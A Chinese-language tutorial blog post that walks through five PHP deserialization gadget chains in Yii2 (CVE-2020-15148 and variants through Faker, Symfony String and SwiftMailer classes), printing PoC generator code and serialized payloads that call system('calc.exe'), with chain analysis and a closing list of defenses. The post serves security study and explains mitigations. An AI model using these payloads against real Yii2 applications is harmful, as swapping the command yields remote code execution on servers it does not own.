YII链子学习反序列化

YII反序列化链子学习思路:

入门学习反序列化的不二选择就是去yii框架中找链子。这也我是总结其他大佬挖的链子做的简单的、略为清晰一点复现尝试

第一条:CVE-2020-15148(0day)

思路:

首先肯定根据一个反序列化的点构造一条链。目前来说,只有__destruct__wakeup这两个魔术方法可以使用

魔术方法__destruct,在对象被销毁前被调用。从系统结构的角度讲,其最常见的场景是关闭某些功能。比如关闭文件流,更新数据等。但从反序列化的角度讲,其特殊的使用场景,代表在这个方法内可能会调用类内的其它方法。

先从结果入手来分析:

<?php
    namespace yii\rest{
        class IndexAction {
            public $checkAccess;
            public $id;
            public function __construct()
            {
                $this->checkAccess="system";
                $this->id="calc.exe";

            }
        }
    }
    namespace yii\web{
        use yii\rest\IndexAction;

        class DbSession {
            protected $fields = [];
            public $writeCallback;
            public function __construct()
            {
                $this->writeCallback=[(new IndexAction),"run"];
                $this->fields['1'] = 'aaa';
            }

        }
    }
    namespace yii\db {
        use yii\web\DbSession;

        class BatchQueryResult
        {
            private $_dataReader;
            public function __construct()
            {
                $this->_dataReader=new DbSession();
            }
        }
    }
    namespace {
        $exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
    }
?>

直接将链子序列化的结果url解码,得到如下:

O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReader";O:17:"yii\web\DbSession":2:{s:9:"*fields";a:1:{i:1;s:3:"aaa";}s:13:"writeCallback";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}
  • 语句的基本初步特征如下:
    1. 调用类+类中的参数[赋值]+调用魔术方法中的类
    2. 调用时指定命名空间namespace,调用指定函数

不难看出,序列化之后是由后到前,实际调用也是如此。为了提前声明函数,所以要逆着来写poc。

分析:

第一步:漏洞补丁通过在BatchQueryResult.php增加__wakeup函数防止反序列化,直接定位

BatchQueryResult.php销毁时调用的__destruct函数会调用reset方法。如果此时dataReader有定义,将会调用close方法。

命名空间:namespace yii\db;

第二步:全局搜索close方法,并通过链子中的命名空间yii\web缩小范围


可以看到标红的只有两个文件分别是DbSession和Session中可能符合要求。找到指定位置

Session:


DbSession:

都是要判断getIsActive,在Session中如下:

#### 官方 session_status() 返回值为:
-  PHP_SESSION_DISABLED ` 会话是被禁用的。
- PHP_SESSION_NONE` 会话是启用的,但不存在当前会话。
- PHP_SESSION_ACTIVE` 会话是启用的,而且存在当前会话

所以在这里恒定为真,可以通过if判断。

而session_status是为了解决session阻塞机制来关闭当前session对话的。所以肯定无法使用,于是排除Session

命名空间:namespace yii\web

第三步:查找composeFields,MultiFieldSession.php

排除DbSession,只有一个了,如下:


可以看到一个传入回调函数到call_user_func中,但我们控制不了里面的参数。可以赋值回调函数为[(new test), "aaa"]这样的一个数组,就可以调用test类中的aaa公共方法。

命名空间:namespace yii\web

第四步:寻找可控公共方法,[(new IndexAction),“run”]通过这个可以判断是IndexAction 中的run方法

只有一个,相关代码如下且完全可控

命名空间:namespace yii\rest

总结链子顺序:

第二条: CVE-2020-15148第二种绕过思路(__call)

同样先给出链子以及解码后的序列化

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters = array();
        public function __construct()
        {
            $this->formatters['close']=[new IndexAction,"run"];
        }
    }

}

namespace yii\db {
    use Faker\Generator;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
}
O:23:"yii\db\BatchQueryResult":1:
{s:36:"yii\db\BatchQueryResult_dataReader";O:15:"Faker\Generator":1:
{s:13:"*formatters";a:1:{s:5:"close";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}}

分析:

第一步:和第一条链子一样在BatchQueryResult.php中

命名空间:namespace yii\db;

第二步:既然要利用__call,那么就全局搜索(找没有close()方法的类)Generator.php

仔细看其实不少都有可能是合适的,但是这里就只复现链子的那个。在Generator.php中__call方法的两个参数都可控

命名空间:namespace Faker

#__call方法
当调用的方法不存在或则权限不足时自动触发该方法,所以这里可以直接找到调用它(format)的下一级并提前传好参数赋值
第三步:当前文件中全文追踪format以及后续

可以看到,Generator.php中的format中有调用方法call_user_func_array接收getFormatter以及参数。getFormatter中的formatters中参数又是可以控制的,于是可以利用第一条链子找到的call_user_func执行指定命令

命名空间:namespace Faker

第四步:利用run函数中的call_user_func实现命令执行,IndexAction.php

命名空间:namespace yii\rest

总结链子顺序:

第三条:__wakeup方向思路

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Symfony\Component\String{
    use yii\rest\IndexAction;
    class LazyString{
        private $value;
        public function __construct()
        {
            $this->value=[new IndexAction,"run"];
        }

    }
    class UnicodeString{
        protected $string = '';
        public function __construct()
        {
            $this->string=new LazyString;
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
}
O:38:"SymfonyComponentStringUnicodeString":1:{s:9:"*string";O:35:"SymfonyComponentStringLazyString":1:{s:42:"SymfonyComponentStringLazyStringvalue";a:2:{i:0;O:20:"yiirestIndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}

分析:__wakeup()是被反序列后自动调用的函数。

第一步:__wakeup,UnicodeString.php

这里的string可控,第一个参数要求是String类型,如此我们就可以去寻找可利用的__toString方法

命名空间:namespace Symfony\Component\String;

第二步:LazyString.php:96,可以看道is_string失败会调用value方法。没有参数,可以用前面的run方法

命名空间: namespace Symfony\Component\String;

第三步:利用run函数中的call_user_func实现命令执行,IndexAction.php

命名空间:namespace yii\rest

总结链子顺序:

第四条:分析顺序和之前一样

<?phpnamespace yii\rest{    class IndexAction {        public $checkAccess;        public $id;        public function __construct()        {            $this->checkAccess="system";            $this->id="calc.exe";        }    }}namespace Symfony\Component\String{    use yii\rest\IndexAction;    class LazyString{        private $value;        public function __construct()        {            $this->value=[new IndexAction,"run"];        }    }}namespace {    use Symfony\Component\String\LazyString;    class Swift_ByteStream_FileByteStream{        private $path;        public function __construct()        {            $this->path=new LazyString();        }    }    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream{    }    $exp=print(urlencode(serialize(new Swift_ByteStream_TemporaryFileByteStream())));}
O:40:"Swift_ByteStream_TemporaryFileByteStream":1:{s:37:"Swift_ByteStream_FileByteStreampath";O:35:"Symfony\Component\String\LazyString":1:{s:42:"Symfony\Component\String\LazyStringvalue";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}

分析:

第一步:__destruct的利用,TemporaryFileByteStream.php,并找到它的继承的FileByteStream类中的getPath

其中path可控,可以造成任意文件删除

其中文件路径分别是:

/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php

/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/FileByteStream.php

第二步:由于getPath可控,而且file_exists需要string类型的参数。所以可以延续上一次的路径,到LazyString.php中

命名空间: namespace Symfony\Component\String;

第三步:利用run函数中的call_user_func实现命令执行,IndexAction.php

命名空间:namespace yii\rest

总结链子顺序:

第五条:

<?phpnamespace yii\rest{    class IndexAction {        public $checkAccess;        public $id;        public function __construct()        {            $this->checkAccess="system";            $this->id="calc.exe";        }    }}namespace Faker{    use yii\rest\IndexAction;    class Generator{        protected $formatters = array();        public function __construct()        {            $this->formatters['createTransportChangeEvent']=[new IndexAction,"run"];        }    }}namespace {    use Faker\Generator;    abstract class Swift_Transport_AbstractSmtpTransport{}    class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport    {        protected $started;        protected $eventDispatcher;        public function __construct()        {            $this->started = True;            $this->eventDispatcher = new Generator();        }    }    $exp=print(urlencode(serialize(new Swift_Transport_SendmailTransport())));}
O:33:"Swift_Transport_SendmailTransport":2:{s:10:"*started";b:1;s:18:"*eventDispatcher";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:26:"createTransportChangeEvent";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}}

分析:

第一步:__destruct函数开始在AbstractSmtpTransport.php中调用stop

找到该文件中的stop函数

eventDispatcher可控,于是利用__call方法

第二步:Generator.php

命名空间:namespace Faker

第三步:当前文件中全文追踪format以及后续

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8RFN98fT-1634148188381)(C:/Users/Legion/AppData/Roaming/Typora/typora-user-images/!%5B%5D(https:/p1.ssl.qhimg.com/t019077b3c080dcfe96.png)]375.png)

可以看到,Generator.php中的format中有调用方法call_user_func_array接收getFormatter以及参数。getFormatter中的formatters中参数又是可以控制的,于是可以利用第一条链子找到的call_user_func执行指定命令

命名空间:namespace Faker

第四步:利用run函数中的call_user_func实现命令执行,IndexAction.php

命名空间:namespace yii\rest

总结链子顺序:

防御

  • 鉴权,反序列化接口进行鉴权,仅允许后台管理员等特许人员才可调用
  • 白名单,限制反序列化的类
  • RASP(Runtime application self-protection,运行时应用自我保护)检测
  • 在写到动态调用和危险函数时,务必对变量和方法进行回溯。查看变量是否是可控的。
  • 在容许的情况下,使用静态属性进行动态调用可以防止可控变量调用危险函数。
  • 在调用$this->aaa->bbb()这样类似的结构前可以利用instanceof进行检查,查看其是否是期望调用的类。

其他需要注意的:后面几条已经修复了只有版本号Yii2<=2.0.38才能复现成功哦

相信大家如果能够耐心自己尝试一遍,以后也能轻松挖出自己的链子。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值